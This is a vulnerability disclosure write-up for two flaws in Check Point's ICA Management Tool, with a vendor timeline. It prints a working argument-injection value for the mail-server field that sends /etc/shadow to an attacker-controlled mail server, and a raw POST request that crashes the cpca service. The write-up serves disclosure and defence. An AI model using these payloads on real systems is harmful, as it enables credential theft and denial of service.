Vulnerabilities in Checkpoint ICA Management Tool

Today we will be analysing multiple vulnerabilities that we found in a component of Checkpoint Security Management, which is used in Check Point products. The component in question is the ICA Management Tool.

The ICA Management Tool helps to manage user certificates:

• Run searches
• Recreate CRLs
• Configure the ICA
• Remove expired certificates

By default, this service is turned off, and to turn it on you need to use the built-in utility cpca_client. For example, you can run the command cpca_client set_mgmt_tool on -no_ssl, but be careful: if you run that command, the service will be available to users without authentication. We recommend running this service only with SSL. To do so, you can use the command cpca_client set_mgmt_tool on -u <your certificate> with a certificate that has been generated beforehand.

Control the ICA Management Tool

After this component has been enabled, the ICA Management Tool web interface becomes available at the address http://<smartcenter_ip>:18265/. In our case, we launched the component without using SSL.

During our analysis of ICA Management Tool, we found two vulnerabilities, presented below.

Argument injection

The first of the two vulnerabilities resembles familiar Command Injection, where an attacker can insert or “sneak in” custom commands when passing arguments to the target application. In our case, we gained the ability to inject custom arguments when calling an internal system command.

One of the more conspicuous features of the web interface was the capability to send notifications to users about certificate initialization, while still retaining the ability to modify standard email headers: the sender, recipient, subject, mail server address, etc. Originally an attempt was made to inject shell commands as arguments into the mail server address parameter akin to exploiting a faulty ‘ping’ command with improper input validation, but it was soon established that the context in question did not resemble /bin/sh <cmd>.

The next logical step was to identify and research the process responsible for sending mail. The one named ‘cpca’ seemed a likely candidate due to the port it listened on 18265. A simple strings search revealed that the binary interacted with sendmail and confirmed that it was indeed our target. It’s important to note that the cpca binary contained the string “send_mail_file.txt”, which suggested that it had the capability of sending attachments. An understanding of sendmail’s commandline arguments was necessary to construct the injection string. For more details, please consult man sendmail.

sendmail [-t server] [ [-m filename]  | [-s subject] [-f from] email-address]

Even so, it wasn’t possible to derive the order of the arguments in the executed command and alternative avenues of exploitation had to be devised. Adding sendmail’s commandline arguments to various parameters in the web interface paid off: the local file, specified in the injected commandline argument, was sent to an attacker-controlled mail server, as was confirmed by the logs. In retrospective it might have been more efficient to start off by analyzing them… 😉

To exploit the vulnerability, start netcat on local port 25 (we used a local port to check the vulnerability, because our test network did not allow us to send requests to an external network). Then, in the Configure the CA section, change the value of “Management Tool mail server” to “127.0.0.1 -m /etc/shadow %0a%0a“. Note that “\n\n” (without the quotation marks) should be present at the end of the field when changing its value.

Then we issue a request that triggers the sending of an email. The certs parameter contains the ID of a certificate with “Pending” status.

Now the contents of /etc/shadow has been sent to netcat listening on port 25.

Denial of Service

Another issue was caused by a failure to validate input data. If a remote client sent a special POST request, the body of which was formatted in an unexpected way, then this would cause the program to close unexpectedly.

As a POC, we generated the following POST request:

POST /file_init?_ HTTP/1.1
Host: checkpoint.host:18265
Cookie: _
Content-Length: 1

q

cpca crashed after receiving this request.

Timeline

• March 16, 2020 — Vulnerabilities reported to vendor
• March 17, 2020 — First response from vendor
• March 18, 2020 — Vendor started work on a fix
• June 4, 2020 — Vulnerabilities fixed
• September 24, 2020 — CVE assigned